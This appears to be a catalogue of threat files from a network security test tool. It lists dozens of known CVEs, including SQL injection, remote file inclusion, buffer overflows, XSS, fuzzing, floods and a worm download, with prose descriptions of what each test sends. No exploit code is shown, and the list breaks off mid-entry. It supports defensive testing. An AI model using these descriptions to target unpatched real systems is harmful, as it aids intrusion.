Executive Description:	8Pixel.net SimpleBlog ID Parameter Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. SimpleBlog an web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170421-01_Exponent_CMS_eaasController.php_api_Function_SQL_Injection_IPv6.xml
Executive Description:	Exponent CMS eaasController.php api Function SQL Injection (IPv6 Version)
Detailed Description:	A SQL injection vulnerability has been reported in Exponent CMS. The vulnerability is due to a lack of input validation on the apikey HTTP parameter by the api() function. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7991
Threat File Name:	TSL20150611-01_Apple_CUPS_cupsd_Privilege_Escalation.xml
Executive Description:	Apple CUPS cupsd Privilege Escalation
Detailed Description:	An elevation-of-privilege vulnerability has been reported in the Apple CUPS. The vulnerability is due to improper processing of print-job or create-job requests sent to cupsd. A remote, unauthenticated attacker can send a specially crafted localized strings to cause the 'admin/conf' and 'admin' access control lists to fail. Successful exploitation could lead to elevation of privileges on the affected system, giving the attacker the ability to execute arbitrary code with root privileges. Tester should set the variable \$destPort to 631 before test.
Protocol Type:	IPP
CVEID:	CVE-2015-1158
Threat File Name:	sipsalarresptoolarge_IPv6.xml
Executive Description:	SIPPING: Response Scalar Values Too Large (IPv6 Version)
Detailed Description:	This threat sends out a SIP 503 status message with the scalar values greater than the maximum allowed for that field. This is illegal and should just be dropped. Because it is unexpected, it may also confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20150210-09_Microsoft_Windows_TrueType_Font_File_Parsing_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows TrueType Font File Parsing Remote Code Execution IPv6 version.
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to the way Windows handles crafted TrueType fonts. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with kernel permissions.
Protocol Type:	HTTP/HTTPS, IPV6
CVEID:	CVE-2015-0059
OSVDB:	118179
Threat File Name:	TSL20140220-13_ESF_pfSense_webConfigurator_firewall_aliases_edit_php_Input_Validation_Error_IPv6.xml
Executive Description:	ESF pfSense webConfigurator firewall_aliases_edit.php Input Validation Error(IPv6 Version)
Detailed Description:	An input validation error vulnerability exists in Electric Sheep Fencing pfSense firewall. The vulnerability is due to insufficient validation of user supplied input when processing the addressN parameter in firewall_aliases_edit.php. A remote authenticated attacker could exploit this vulnerability by sending a malicious request using the vulnerable parameter to the firewall. Successful exploitation could lead to remote code execution under the security context of the root user.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	FSC20060323-15_RealNetworks_RealPlayer_SWF_Flash_File_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer SWF Flash File Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is specific to parsing malformed Macromedia Flash (SWF) files. An attacker can exploit this vulnerability to inject and execute arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0323
Threat Package:	Standard
Threat File Name:	pnews_rfi.xml
Executive Description:	PNews Global.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. pNews is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150402-04_Cisco_Prime_Data_Center_Network_Manager_Information_Disclosure_IPv6.xml
Executive Description:	Cisco Prime Data Center Network Manager Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability has been reported in Cisco Prime Data Center Network Manager. The vulnerability is due to an input validation error that allows the retrieval of arbitrary files from the server. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target server with System privileges.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2015-0666

Threat File Name:	firefox_mfsa2006-45.xml
Executive Description:	Mozilla Navigator Java Crash
Detailed Description:	This threat sends a malicious webpage designed to cause memory corruption in the mozilla application. By re-assigning a location to the Navigator object in firefox, when the java virtual machine is loaded it references that location and can either execute arbitrary code, or cause a crash. Malicious webpages typically come from servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3677
OSVDB:	27559
Threat Package:	Standard
Threat File Name:	malformedICMP.xml
Executive Description:	Malformed Random ICMP Packet
Detailed Description:	This threat sends multiple malformed ICMP packets.
Protocol Type:	ICMP
CVEID:	CVE-2004-1432
OSVDB:	8150
Threat Package:	Standard
Threat File Name:	barcodewiz2_activex_bof_IPv6.xml
Executive Description:	BarCodeWiz ActiveX Control 2.0 (BarcodeWiz.dll) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat downloads a malicious script which exploits a buffer overflow in BarCodeWiz's activex component through the "Verify" argument. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170613-28_Microsoft_Windows_PDF_Library_JPEG2000_Parsing_Out_of_Bounds_Write_IPv6.xml
Executive Description:	Microsoft Windows PDF Library JPEG2000 Parsing Out of Bounds Write (IPv6 Version)
Detailed Description:	An out-of-bounds write vulnerability has been reported in the JPEG2000 component of the PDF library in Microsoft Windows. The vulnerability is due to improper validation of embedded JPEG2000 streams. A remote attacker could exploit this vulnerability by enticing a victim user to open a webpage or a PDF file with specially crafted JPEG2000 image. Successful exploitation would allow the attacker to corrupt memory and potentially execute arbitrary code under the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-0291
Threat File Name:	netgear_xss2.xml
Executive Description:	Netgear URL Logging XSS
Detailed Description:	This threat sends a cross-site scripting attempt to a third party webpage. The netgear URL filter logging process then places this output unfiltered in its log webpage. This allows an attacker to execute arbitrary javascript with permissions of the administrator viewing the page. This threat targets a webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-0291
OSVDB:	13012
Threat Package:	Standard
Threat File Name:	FSC20090609-18_Microsoft_Office_Excel_Malformed_Object_Record_Parsing_Code_Execution.xml
Executive Description:	Microsoft Office Excel Malformed Object Record Parsing Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel products. The vulnerability is due to improper parsing of crafted OBJ records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0557
Threat Package:	Standard
Threat File Name:	FSC20090330-09_Sun_Java_Runtime_Environment_GIF_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Sun Java Runtime Environment GIF Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Sun Microsystems Inc.'s Java Runtime Environment (JRE). The flaw is due to a boundary error while processing a crafted GIF image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack may allow for arbitrary code injection and execution with privileges of the target user. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1098
Threat Package:	Standard
Threat File Name:	TSL20120117-05_IBM_SPSS_VsVIEW6_ocx_ActiveX_control_Code_Execution.xml
Executive Description:	IBM SPSS VsVIEW6.ocx ActiveX control Code Execution
Detailed Description:	A code execution vulnerability exists in the VsVIEW6.ocx ActiveX control, which is shipped as part of IBM SPSS SamplePower. The method SaveDoc() contains a flaw that could lead to injection and execution of arbitrary code. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website which can result in the execution of arbitrary code within the context of the target user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0189

Threat File Name:	wheatblog_rfi_IPv6.xml
Executive Description:	Wheatblog Session.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the session.php function which allows a malicious user to include commands in the context of the vulnerable web server. Wheatblog is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	barracuda_spamfirewall_rcmd.xml
Executive Description:	Barracuda Networks Spam Firewall Multiple Vulnerabilities
Detailed Description:	This threat exploits a vulnerability in some Barracuda Spam Firewalls that allow for remote command-execution via GET request to the HTTPS control interface. Barracuda Spam Firewall is a firewall and its control console is a web server and typically listens on port 443.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	pnews_rfi_IPv6.xml
Executive Description:	PNews Global.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. pNews is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140303-01_Apache_Camel_XSLT_Component_Java_Code_Execution.xml
Executive Description:	Apache Camel XSLT Component Java Code Execution
Detailed Description:	A code execution vulnerability has been reported in Apache Camel. The vulnerability is due to an error in handling XSL stylesheets in the XSLT component. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted XML message to the vulnerable server. Successful exploitation could result in the execution of arbitrary Java code on the target system with the privileges of the server process
Protocol Type:	HTTP
CVEID:	CVE-2014-0003
OSVDB:	103917
Threat File Name:	internetExplorerFileDOS_IPv6.xml
Executive Description:	Internet Explorer File URL Denial of Service (IPv6 Version)
Detailed Description:	This attack causes Internet Explorer to crash by specifying a malformed drive letter to load. This attack normally comes from a malicious webserver. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	eXtremail_v4_login_bof_IPv6.xml
Executive Description:	eXtremail <= 2.1.1 (LOGIN) (v4) Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow in the eXtremail admin interface that results in execution of arbitrary code or denial of service via a long LOGIN command to the admin interface port (4501/tcp). (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	TSL20170216-04_OpenSSL_Encrypt-Then-Mac_Renegotiation_Denial_of_Service.xml
Executive Description:	OpenSSL Encrypt-Then-Mac Renegotiation Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. This vulnerability is due to improper handling of the Encrypt-Then-Mac extension during renegotiation. A remote attacker could exploit this vulnerability in an OpenSSL client or server application by sending crafted packets during renegotiation. Successful exploitation results in denial of service conditions on the affected service.
Protocol Type:	TLS, SSL, HTTPS, SMTP, SMTPS, SIPS
CVEID:	CVE-2017-3733
Threat File Name:	FSC20070515-18_Samba_NetDFS_RPC_netdfs_io_dfs_EnumInfo_d_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Samba NetDFS RPC netdfs_io_dfs_EnumInfo_d Handling Heap Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the NetDFS RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	MICROSOFT-DS/IPv6
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_star.xml
Executive Description:	Fuzz SMTP HELO verb with *
Detailed Description:	Fuzzes the SMTP HELO Parameter with * from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	sqwebmail_xss_IPv6.xml
Executive Description:	SqWebMail Attachment XSS (IPv6 Version)
Detailed Description:	This threat sends an email with a .jpg extension but with a MIME encoding of text/html. This causes the SqWebMail email application to execute the Javascript contained inside. This Javascript can be used to create a cross site scripting situation where the attacker can create and delete email without user intervention. SqWebMail is a web based email application. This threat targets the SMTP MTA portion of the email delivery, which is typically port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-1308
OSVDB:	18948
Threat Package:	Standard

Threat File Name:	FSC20071220-19_IBM_Lotus_Domino_Web_Access_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Domino Web Access ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in IBM Lotus Domino Web Access ActiveX control. The flaw is due to improper bound protection in the InstallBrowserHelperDll() method when processing user supplied argument. A remote attacker may persuade the target user to open a malicious web page to inject and execute arbitrary code on the vulnerable system, with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToPUT.xml
Executive Description:	Fuzz HTTP PUT appended by %n
Detailed Description:	Fuzzes the Method field appending by %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090113-25_Oracle_Database_Trigger_MDSYS.SDO_TOPO_DROP_FTBL_SQL_Injection_Vulnerability.xml
Executive Description:	Oracle Database Trigger MDSYS.SDO_TOPO_DROP_FTBL SQL Injection Vulnerability
Detailed Description:	An SQL injection vulnerability exists in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to trigger MDSYS.SDO_TOPO_DROP_FTBL. A remote attacker with valid user credentials may leverage this vulnerability to inject and execute arbitrary SQL code within the security context of the database system administrator. Exploitation of this vulnerability may result in privilege escalation allowing an attacker with limited privileges to execute statements with the privileges of the database system administrator. The exact behaviour of the target system is dependent on the intention of the attacker. It may be possible for an attacker to affect the target host beyond the confines of the database which would allow manipulation of the host system.
Protocol Type:	iSQL *Plus/TNS/TCP/SMB/CIFS
CVEID:	CVE-2008-3979
Threat Package:	Standard
Threat File Name:	ttlFirewalking.xml
Executive Description:	TTL Firewalking
Detailed Description:	This threat sends out a TCP packet destined for a service on a machine that is behind a firewall. Depending on the reply back, the user can use it to determine if a port is open or not without connecting to the target computer. This is determined by adjusting the Time To Live value in the IP portion of the packet. A TTL exceeded message coming back from the firewall indicates that the port is open and the packet was forwarded. A dropped packet, or no reply, indicates that the port is blocked. This technique can also be used to map out complicated networks behind a firewall.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	lupper_dl.xml
Executive Description:	Lupper Worm Binary Download
Detailed Description:	This threat downloads the malicious lupper worm binary file that then is executed to infect new hosts. This threat file contains a very large server side response file, which takes a while to load. Please wait a few Minutes after loading the threat. This threat connects to a webserver to download the malicious binary, which typically listens on port 80. This threat is a client side attack and uses the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120612-07_Microsoft_Multiple_Products_HTML_Sanitization_Cross-Site_Scripting.xml
Executive Description:	Microsoft Multiple Products HTML Sanitization Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in Microsoft Internet Explorer, Microsoft Lync and Microsoft Office Communicator. The flaw is due to the way that the SafeHTML feature sanitizes HTML. Remote attackers can exploit this vulnerability by enticing a target user to view a web page that uses this API. In a successful attack, a remote attacker can leverage this vulnerability to execute script code in the target user's web browser in the context of a trusted web page, or execute script code in the target user's instant messenger window.
Protocol Type:	HTTP,HTTPS,SIP
CVEID:	CVE-2012-1858
OSVDB:	82861
Threat File Name:	TSL20110526-04_Google_Chrome_Stale_Pointer_in_Floats_Rendering_Memory_Corruption.xml
Executive Description:	Google Chrome Stale Pointer in Floats Rendering Memory Corruption
Detailed Description:	A vulnerability has been identified in Google Chrome. This vulnerability is due to the use of a stale pointer in rendering floats. A remote attacker may exploit this vulnerability by enticing a target user to view a malicious web page. Successful exploitation of this vulnerability could result in the execution of arbitrary code in the security context of the user. An unsuccessful attack may result in abnormal termination of the software.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1804
Threat File Name:	photokorn_b_rfi_IPv6.xml
Executive Description:	Photokorn Ext_cats.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131105-01_Microsoft_Windows_and_Office_TIFF_Handling_GDI_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows and Office TIFF Handling GDI Memory Corruption(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the way Microsoft Windows, Office and Lync handle certain TIFF image files. When Microsoft's GDI+ library handles a crafted TIFF file it can corrupt memory. A remote attacker could exploit this vulnerability by enticing a user to open a crafted TIFF file, possibly embedded in another file such as Microsoft office document. Successful exploitation could result arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,MMS,POP3,RTSP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-3906

Threat File Name:	TSL20110722-15_Oracle_Secure_Backup_Administration_Server_validate_login_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration Server validate_login Command Injection(IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Oracle Secure Backup Administration server. The vulnerability is due to insufficient filtering of user supplied data to the login.php script used in the administration server. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	IPv6,HTTPS
CVEID:	CVE-2011-2261

Threat File Name:	TSL20170221-09_Aerospike_Database_Server_RW_Fabric_Message_Code_Execution_IPv6.xml
Executive Description:	Aerospike Database Server RW Fabric Message Code Execution (IPv6 Version)
Detailed Description:	A out-of-bounds array indexing vulnerability has been reported in Aerospike Database Server. The vulnerability is due to improper handling of a fabric message containing a request to write a record element with malicious type value. A remote attacker could exploit this vulnerability by sending a maliciously crafted fabric message to the vulnerable server. Successful exploitation of this vulnerability could lead to a NULL pointer dereference, causing denial-of-service.
Protocol Type:	Aerospike Database Fabric Protocol,IPv6
CVEID:	CVE-2016-9053

Threat File Name:	sophos_namelen_dos.xml
Executive Description:	Sophos Antivirus CHM Chunk Name Length Memory Corruption Vulnerability
Detailed Description:	
Protocol Type:	HTTP
CVEID:	CVE-2006-5647
Threat Package:	Standard

Threat File Name:	IMail_monitor.xml
Executive Description:	IMail Monitor Buffer Overflow
Detailed Description:	This threat sends a large payload to the IMail monitor, which typically listens on port 8181. Causes a buffer overflow which can be exploited, causing a compromise of the server.
Protocol Type:	HTTP
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard

Threat File Name:	TSL20111005-07_Mozilla_Products_SVGTextContentElement_getCharNumAtPosition_Use_After_Free_IPv6.xml
Executive Description:	Mozilla Products SVGTextContentElement.getCharNumAtPosition Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists Mozilla products Firefox, Seamonkey and Thunderbird. The vulnerability is due to improper handling of SVG text containers. The getCharNumAtPosition method does not account for the possibility of user defined getter methods in SVGPoint object supplied as its argument to modify or destroy the parent object, leading to a use-after-free condition. A remote attacker could exploit this vulnerability by enticing a user to open a webpage or email containing a specially crafted SVG file or other HTML/XML file embedding SVG data. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0084

Threat File Name:	TSL20111213-08_Microsoft_Publisher_Array_Indexing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Publisher Array Indexing Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office. The vulnerability is due to an index boundary error while parsing Microsoft Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Publisher file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2011-3410

Threat File Name:	IPv6zeroLength.xml
Executive Description:	Zero Length IPv6 Packet
Detailed Description:	This threat sends a zero length IPv6 packet. Given past problems with IPv4 implementations, it is highly likely that similar problems might reside in IPv6 implementations.
Protocol Type:	IPv6
Threat Package:	Standard

Threat File Name:	FSC20080205-02_Symantec_Backup_Exec_System_Recovery_Manager_Unauthorized_File_Upload_IPv6.xml
Executive Description:	Symantec Backup Exec System Recovery Manager Unauthorized File Upload (IPv6 Version)
Detailed Description:	A file upload vulnerability exists in the Symantec Backup Exec System Recovery Manager. The vulnerability is due to design weakness in the Tomcat service and can be exploited by remote attackers to upload arbitrary files into the system, potentially compromising the vulnerable system. (IPv6 Version)
Protocol Type:	PRISM-HTTP/IPv6
CVEID:	CVE-2008-0457
Threat Package:	Standard

Threat File Name:	TSL20160428-07_HPE_Data_Protector_EXEC_BAR_username_Buffer_Overflow_IPv6.xml
Executive Description:	HPE Data Protector EXEC_BAR username Buffer Overflow (IPv6 version)
Detailed Description:	A buffer overflow vulnerability has been found in the OmniInet.exe component of HPE Data Protector. This vulnerability is due to lack of boundary checks on the username field in EXEC_BAR requests. A remote, unauthenticated attacker could exploit this vulnerability by sending malformed requests to the HPE Data Protector OmniInet.exe service. Successful exploitation could lead to arbitrary code execution under the security context of SYSTEM.

Protocol Type:	TCP, IPv6
CVEID:	CVE-2016-2005
Threat File Name:	sipzeromf_IPv6.xml
Executive Description:	SIPPING: Zero Max Forwards (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with its Max-Forwards: header set to 0. This is legal but sometimes unexpected, and may cause unpredictable behavior in some SIP implementations. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	phpraid_cmi.xml
Executive Description:	phpRaid Remote File Inclusion
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	foxit_pdf_dos.xml
Executive Description:	Foxit Reader Malformed PDF File Denial of Service Vulnerability
Detailed Description:	This threat uses a malformed PDF file to cause a denial of service condition in the Foxit Reader pdf reader application. Foxit Reader is a client application and this threat delivers the malicious pdf via an emulated web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2186
Threat Package:	Standard
Threat File Name:	x86NOOPudp8.xml
Executive Description:	UDP x86 NOOP Variant 8
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	raccoon_malformedCookie_IPv6.xml
Executive Description:	KAME Cookie Crash (IPv6 Version)
Detailed Description:	This threat causes a crash by sending a malformed cookie ISAKMP packet. ISAKMP normally listens on UDP port 500. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
Threat Package:	Standard
Threat File Name:	fake_identd_bof.xml
Executive Description:	fakeidentd Remote Exploit
Detailed Description:	This threat causes a buffer overflow condition to occur to the fakeidentd program. fakeidentd is a IDENT daemon that allows administrators to specify their own user IDs for TCP connections. This exploit sends multiple packets containing 19 bytes each, taking advantage of a incorrect read from a socket to a 20 byte buffer. fakeident typically listens on TCP port 113.
Protocol Type:	IDENT
CVEID:	CVE-2002-1792
Threat Package:	Standard
Threat File Name:	FSC20101207-08_Nullsoft_Winamp_MIDI_Timestamp_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp MIDI Timestamp Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. The vulnerability is due to a boundary error in the "in_midi" component while handling timestamps in MIDI files. Remote attackers can exploit this vulnerability by enticing the target user to open a specially crafted MIDI file. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	statit_cmi.xml
Executive Description:	Statit V4 Remote File Inclusion exploit
Detailed Description:	This threat sends a crafted HTTP GET query which allows an arbitrary file inclusion via the statitpath argument. Statit is a web application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	http_get_url_IPv6.xml
Executive Description:	HTTP Request for Microsoft URL File (IPv6 Version)
Detailed Description:	This threat is an HTTP request for a .LNK file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140915-04_ManageEngine_EventLog_Analyzer_agentUpload_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine EventLog Analyzer agentUpload Directory Traversal IPv6 version.
Detailed Description:	A code execution vulnerability has been reported in ManageEngine EventLog Analyzer. The vulnerability is due to lack of authentication and insufficient input validation in agentUpload when processing zip files. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort 8400 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-6037
OSVDB:	110642

Threat File Name:	FSC20071107-16_Oracle_Database_Server_XDB_PITRIG_DROPMETADATA_Procedure_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Database Server XDB PITRIG_DROPMETADATA Procedure Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to procedure PITRIG_DROPMETADATA in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-4517
Threat Package:	Standard
Threat File Name:	TSL20130409-26_HP_Intelligent_Management_Center_UAM_acmServletDownload_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center UAM [IPv6 Version] acmServletDownload Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the UAM add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the acmServletDownload servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5211
OSVDB:	91036
Threat File Name:	FSC20081215-11_MPlayer_demux_open_vqf_TwinVQ_File_Handling_Buffer_Overflow.xml
Executive Description:	MPlayer demux_open_vqf TwinVQ File Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in MPlayer. The flaw is due to boundary error when processing TwinVQ files. A remote attacker may exploit this vulnerability by persuading the target user to open a malicious TwinVQ file. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious TwinVQ file.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-5616
Threat Package:	Standard
Threat File Name:	floodICMPportunreachable.xml
Executive Description:	ICMP Port Unreachable Flood
Detailed Description:	This threat sends out an ICMP Port Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	msie_ms07-009_IPv6.xml
Executive Description:	Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009) (IPv6 Version)
Detailed Description:	This threat uses malicious javascript to leverage a flaw in the NextRecordset() (msado15.dll) function. Internet Explorer is a web browser that connects to web servers typically listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5559
Threat Package:	Standard
Threat File Name:	ms02-015_dso.xml
Executive Description:	MS02-015 Internet Explorer DSO Attack
Detailed Description:	This threat sends out a malicious attack from the virtual server, making use of the DSO flaw in earlier versions of Internet Explorer. This attack could allow a malicious webpage to run any command on the target in the context of the current user. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2002-0078
OSVDB:	3029
Threat Package:	Standard
Threat File Name:	TSL20120206-07_Adobe_Flash_Player_MP4_Sequence_Parameter_Set_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player MP4 Sequence Parameter Set Parsing Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Adobe Flash Player. The issue can manifest itself when it parses the Sequence Parameter Set structure in an MP4 file. An attacker could exploit this vulnerability by enticing a target user to visit a specially crafted web page. A successful attack leveraging this vulnerability could lead to arbitrary code execution on the vulnerable system in the security context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2140
Threat File Name:	randshop_rfi_IPv6.xml
Executive Description:	Randshop Header.Inc.PHP Remote File Include Vulnerability (IPv6 Version)
